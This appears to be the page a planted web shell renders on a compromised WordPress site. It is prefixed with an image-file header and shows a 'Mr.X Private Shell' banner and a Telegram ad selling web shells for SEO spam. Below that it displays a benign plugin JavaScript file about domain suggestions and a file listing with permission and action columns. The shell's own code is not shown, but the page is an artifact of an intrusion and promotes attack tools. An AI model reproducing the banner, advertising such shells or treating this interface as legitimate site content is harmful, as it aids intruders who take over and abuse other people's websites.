����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { createDomainUrlLink } from '@assist/lib/domains';
import { safeParseJson } from '@shared/lib/parsing';
import { decodeEntities } from '@wordpress/html-entities';
export const REGISTER_DOMAIN_ID = 'register-domain';
const { hostname } = window.location;
const { devbuild, siteTitle, wpLanguage } = window.extSharedData;
const { showPrimary, showSecondary, stagingSites, searchUrl } =
window.extAgentData?.domainsSuggestionSettings || {};
const parsedDomains = safeParseJson(window.extSharedData.resourceData)?.domains;
const domains = Array.isArray(parsedDomains) ? parsedDomains : [];
export const domain = domains[0] || '';
const isStagingDomain = (stagingSites || []).some((l) =>
hostname.toLowerCase().includes(l),
);
const domainByLanguage = (lang, urlList) => {
try {
const urls = JSON.parse(decodeEntities(urlList));
return urls?.[lang] ?? urls?.default ?? false;
} catch (_e) {
return decodeEntities(urlList) || false;
}
};
const domainSearchUrl =
devbuild && !searchUrl
? 'https://extendify.com?s={DOMAIN}'
: domainByLanguage(wpLanguage, searchUrl);
const canRecommendDomain = (enabled, requireStaging) => {
if (devbuild) return true;
if (!enabled) return false;
if (!domain) return false;
if (!siteTitle) return false;
return requireStaging ? isStagingDomain : !isStagingDomain;
};
const showPrimaryDomainRecommendationAgent = canRecommendDomain(
showPrimary,
true,
);
const showSecondaryDomainRecommendationAgent = canRecommendDomain(
showSecondary,
false,
);
export const domainType = showPrimaryDomainRecommendationAgent
? 'primary'
: 'secondary';
export const isDomainRegistrationActive =
(showPrimaryDomainRecommendationAgent ||
showSecondaryDomainRecommendationAgent) &&
Boolean(domain) &&
Boolean(domainSearchUrl);
const rawSuggestion = (window.extAgentData?.suggestions || []).find(
(s) => s.id === REGISTER_DOMAIN_ID,
);
export const REGISTER_DOMAIN_MESSAGE =
isDomainRegistrationActive && typeof rawSuggestion?.message === 'string'
? rawSuggestion.message.replace(/\{\{domain\}\}/g, domain)
: '';
export const enhanceDomainSuggestion = (suggestion) => {
if (suggestion?.id !== REGISTER_DOMAIN_ID) return suggestion;
if (!isDomainRegistrationActive) return null;
return {
...suggestion,
// The BE marks this as an external link; fall back in case it hasn't yet.
type: suggestion.type ?? 'external-link',
message: REGISTER_DOMAIN_MESSAGE,
url: createDomainUrlLink(domainSearchUrl, domain),
tracking: { domain, position: 'agent-suggestion', type: domainType },
};
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| abilities.js | File | 663 B | 0644 |
|
| blocks.js | File | 3.01 KB | 0644 |
|
| confetti.js | File | 1.46 KB | 0644 |
|
| domain-suggestion.js | File | 2.5 KB | 0644 |
|
| editor.js | File | 746 B | 0644 |
|
| markdown.js | File | 670 B | 0644 |
|
| media.js | File | 1.48 KB | 0644 |
|
| page-tours.js | File | 723 B | 0644 |
|
| redirects.js | File | 640 B | 0644 |
|
| svg-blocks-scanner.js | File | 2.07 KB | 0644 |
|
| svg-helpers.js | File | 4.91 KB | 0644 |
|
| tool-messages.js | File | 830 B | 0644 |
|
| tour-helpers.js | File | 461 B | 0644 |
|
| util.js | File | 537 B | 0644 |
|
| wp.js | File | 420 B | 0644 |
|